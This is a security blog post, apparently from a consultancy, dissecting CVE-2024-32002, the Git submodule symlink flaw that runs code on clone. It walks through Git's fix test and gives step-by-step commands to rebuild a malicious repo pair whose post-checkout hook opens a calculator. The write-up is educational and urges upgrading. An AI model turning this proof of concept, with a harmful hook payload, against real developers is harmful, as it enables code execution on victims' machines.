In this blog we will do a deep dive of CVE-2024-32002, that allowed a remote code execution (RCE) by just cloning a repo.
As per Github blog-
“CVE-2024-32002 (Critical, Windows & macOS): Git repositories with submodules can trick Git into executing a hook from the .git/ directory during a clone operation, leading to Remote Code Execution.”
Affected Versions - v2.45.0 v2.44.0 <=v2.43.3 <=v2.42.1 v2.41.0 <=v2.40.1 <=v2.39.3
Upgrade it to avoid remote code execution by cloning a malicious repo.
Table of Contents
tl;dr
Repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule’s worktree but into a .git/ directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed.
– Github Security Advisory ( GHSA-8h77-4q3w-gfgv )
Thus remote code exectuion (RCE) can be done just by cloning a specially crafted repo.
The Commit
in the NIST database on CVE-2024-32002, you’ll find reference to the code commit, where this bug was fixed. Let’s go there, here’s the commit link.
Git Commit Fixing the Issue
If you check the commit, there are two files –
- builtin/submodule–helper.c
- t/t7406-submodule-update.sh
The second file ( t/t7406-submodule-update.sh
), contains the test for ensuring that this bug is checked for automatically in further versions of git.
The way it does is by creating a file tell.tale
in the current directory, if there’s bug in git and code is executed, post cloning, that file should exist at the end of the test. That is what this whole test case is about.
We use this to create our exploit, in this case the malicious repo, that when cloned executes the code on victim’s machine.
Let’s dive into the code –
test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
'submodule paths must not follow symlinks' '
# This is only needed because we want to run this in a self-contained
# test without having to spin up an HTTP server; However, it would not
# be needed in a real-world scenario where the submodule is simply
# hosted on a public site.
test_config_global protocol.file.allow always &&
# Make sure that Git tries to use symlinks on Windows
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
-
- Test Setup:
test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
'submodule paths must not follow symlinks' '
test_expect_success
is a function used in Git’s test framework. The test is labeled with CASE_INSENSITIVE_FS
and SYMLINKS
, indicating it’s relevant for case-insensitive file systems and systems that support symlinks. The test description is ‘submodule paths must not follow symlinks’.
- Global Configuration:
test_config_global protocol.file.allow always && test_config_global core.symlinks true &&
protocol.file.allow always
allows thefile://
protocol for Git operations.core.symlinks true
ensures Git uses symlinks, specifically relevant on Windows systems.- This is only needed because this is a self-contained test without having to spin up an HTTP server. However, it would not be needed in a real-world scenario where the submodule is simply hosted on a public site.
- Define a Path for the Tell-tale File:
tell_tale_path="$PWD/tell.tale" &&
- This sets a variable
tell_tale_path
to a file namedtell.tale
in the current directory, which will be used to detect if the post-checkout hook runs.
- This sets a variable
- Initialize a Repository (
hook
) and Create a Hook:git init hook && ( cd hook && mkdir -p y/hooks && write_script y/hooks/post-checkout <<-EOF && echo HOOK-RUN >&2 echo hook-run >"$tell_tale_path" EOF git add y/hooks/post-checkout && test_tick && git commit -m post-checkout ) &&
- Initializes a new Git repository named
hook
. - Navigates into the
hook
directory. - Creates the directory structure
y/hooks
. - Writes a
post-checkout
hook script that outputsHOOK-RUN
and writeshook-run
totell_tale_path
. - Adds and commits the
post-checkout
hook.
- Initializes a new Git repository named
- Set Hook Repository Path:
hook_repo_path="$(pwd)/hook" &&
hook_repo_path
to the absolute path of thehook
repository. - Initialize Another Repository (
captain
) and Add Submodule:git init captain && ( cd captain && git submodule add --name x/y "$hook_repo_path" A/modules/x && test_tick && git commit -m add-submodule &&
- Initialize a new Git repository named
captain
. - Navigate into the
captain
directory. - Adds the
hook
repository as a submodule underA/modules/x
with the namex/y
. - Commit the addition of the submodule.
- Initialize a new Git repository named
- Create a Symlink to
.git
Directory:printf .git >dotgit.txt && git hash-object -w --stdin <dotgit.txt >dot-git.hash && printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info && git update-index --index-info <index.info && test_tick && git commit -m add-symlink ) &&
- In this section, the test handcrafts a symlink to
.git
folder and updates it to git index. - Git index is the place where, staging things are kept. You can read more here.
- Create a file
dotgit.txt
containing.git
string. - Create a Git blob object from
dotgit.txt
and stores its hash indot-git.hash
. - Prepare an index entry for a symlink (mode
120000
) to.git
using the hash fromdot-git.hash
. - Update the Git index with this entry and then commit the addition of the symlink.
- In this section, the test handcrafts a symlink to
- Ensure the Tell-tale File is Absent and Test Cloning:
test_path_is_missing "$tell_tale_path" && test_must_fail git clone --recursive captain hooked 2>err && grep "directory not empty" err && test_path_is_missing "$tell_tale_path"
- Checks that
tell_tale_path
does not exist. - Attempts to clone the
captain
repository recursively into a new directoryhooked
. The clone operation is expected to fail. - Verifies that the error message contains “directory not empty”.
- Ensures
tell_tale_path
is still absent, confirming the hook did not run.
- Checks that
Reconstructing the bug from the fix
- Create two empty repos – captain and hook
captain empty repo
hook empty repo
git clone
each of these onto your local machine.
git clone both the repos
hook
directory – cd hook
and create a directory – y/hooks
, with the command – mkdir -p y/hooks
. hooks
directory inside the y
folder, with the name – post-checkout
– touch ./y/hooks/post-checkout
. So now the directory structure should look like this – post-checkout
specifically, is because post-checkout
is a git hook. So with git hooks you can execute custom scripts when certain important actions occur, such as in this case, when the user checkouts code on their machine. - In the
./y/hooks/post-checkout
file add this code snippet –
#!/bin/sh
open -a Calculator
The above script opens a calculator, when executed on mac. For windows the payload would change to –
#!/bin/sh
powershell -Command "Start-Process 'calc.exe'"
post checkout code
6. Let’s make this post-checkout
executable – git update-index --chmod=+x y/hooks/post-checkout
7. Now stage the changes, commit the changes and push it – git add . && git commit -m post-checkout && git push origin main
.
Now we are donewith the hook preparation.
Creating the captain repo
- Go into
captain
repo that we cloned earlier - Add the
hook
repo as a submodule in this repo, using the following command –git submodule add --name x/y "[email protected]:SecureMyOrg/hook.git" A/modules/x
.
- Now we will create a file
dotgit.txt
with the contents as the string –.git
- After this we create a git hash-object of the same file and create an
index.info
file with the contents of the git hash-object. The value120000
symbolises symlink in git.
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
- 5. We will use this
index.info
file to update the git index with our carefully crafted payload The index.info
file structure used in the script is specifically formatted to update the Git index with a symlink entry. Let’s break down the format and understand its components:Structure of index.info
index.info
represents an entry to be added to the Git index. The format of each line is:
<mode> <object hash> <stage>\t<path>
Where:
<mode>
: File mode, which indicates the type of file and its permissions. For symlinks, this is120000
.<object hash>
: The SHA-1 hash of the object in the Git object database. This is a 40-character hexadecimal string that uniquely identifies the content of the file or symlink target.<stage>
: The stage number, used for handling merge conflicts. It’s0
for normal entries.<path>
: The file path relative to the root of the repository’s working directory.
Example Breakdown
Here is the example line fromindex.info
in the script:
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
- Mode (
120000
):120000
is the file mode for a symlink in Git.- It indicates that the entry is a symbolic link.
- Object Hash (
%s
):- This placeholder (
%s
) is replaced by the actual object hash fromdot-git.hash
. - The hash uniquely identifies the contents of the file (in this case, the
.git
string).
- This placeholder (
- Stage (
0
):0
indicates the normal stage, meaning there are no merge conflicts for this entry.
- Path (
a
):a
is the path where the symlink will be placed in the repository.- In the context of the script, this is just a placeholder and would typically be a valid file path.
Complete Example
Let’s put this all together with a hypothetical hash: Assumedot-git.hash
contains
e69de29bb2d1d6434b8b29ae775ad8c2e48c5391
.
The index.info
line would be:
120000 e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 0 a
git ls-files --stage
. git index and current status
git commit -m "Add symlink to .git"
git push origin main
After all this, you should have this directory structure –
file structure for both the repos
Showtime
captain
repo. Here’s how we can do this – git clone --recursive [email protected]:SecureMyOrg/captain.git hooked
Impact
Fix
git
to the latest version.
Thank you ! Hope you enjoyed reading this and learnt something as well.
About SecureMyOrg
SecureMyOrg, is a cybersecurity consulting service, with offices in the US and India. We build security for startups. If you’re someone looking for a trusted cybersecurity partner, feel free to reach out to us – LinkedIn or Email. Some of the things people reach out to us for –
- Building their cybersecurity program from scratch – setting up cloud security using cost-effective tools, SIEM for alert monitoring, building policies for the company
- Vulnerability Assessment and Penetration Testing ( VAPT ) – We have certified professionals, with certifications like OSCP, CREST – CPSA & CRT, CKA and CKS
- DevSecOps consulting
- Red Teaming activity
- Regular security audits, before product release
- Full time security engineers.
References
Relevant Posts
What is Symmetric Encryption? A Comprehensive Overview 2024-SecureMyOrg
Discover the fundamentals of symmetric encryption, how it works, its advantages, limitations, and common use cases. Learn why it remains essential in securing sensitive data.
Asymmetric vs Symmetric Encryption-1: Comparing Their Performances
Explore the performance battle between symmetric and asymmetric encryption. Understand their speed, scalability, and security to make an informed choice.
What is Asymmetric Encryption? A Comprehensive Overview 2024-SecureMyOrg
Learn all about asymmetric encryption in this detailed guide. Understand how it works, its advantages, limitations, real-world applications, and why it’s essential for secure communication in the digital age.
Snort IDS/IPS: Mastering Deployment and Configuration
Master the deployment and configuration of Snort IDS/IPS with this comprehensive guide. Learn installation, fine-tuning, and Cisco integration for top-tier network security.
Getting Started With Pentesting-1
Getting your pentest done, successfully. For companies who want to know what all to consider when getting a pentest done. For pentest providers about what all should you care about when doing a pentest.
The Security Puzzle of GraphQL – 1
GraphQL is taken over the market of API technologies, even though its complex and complexity is the worst enemy of security.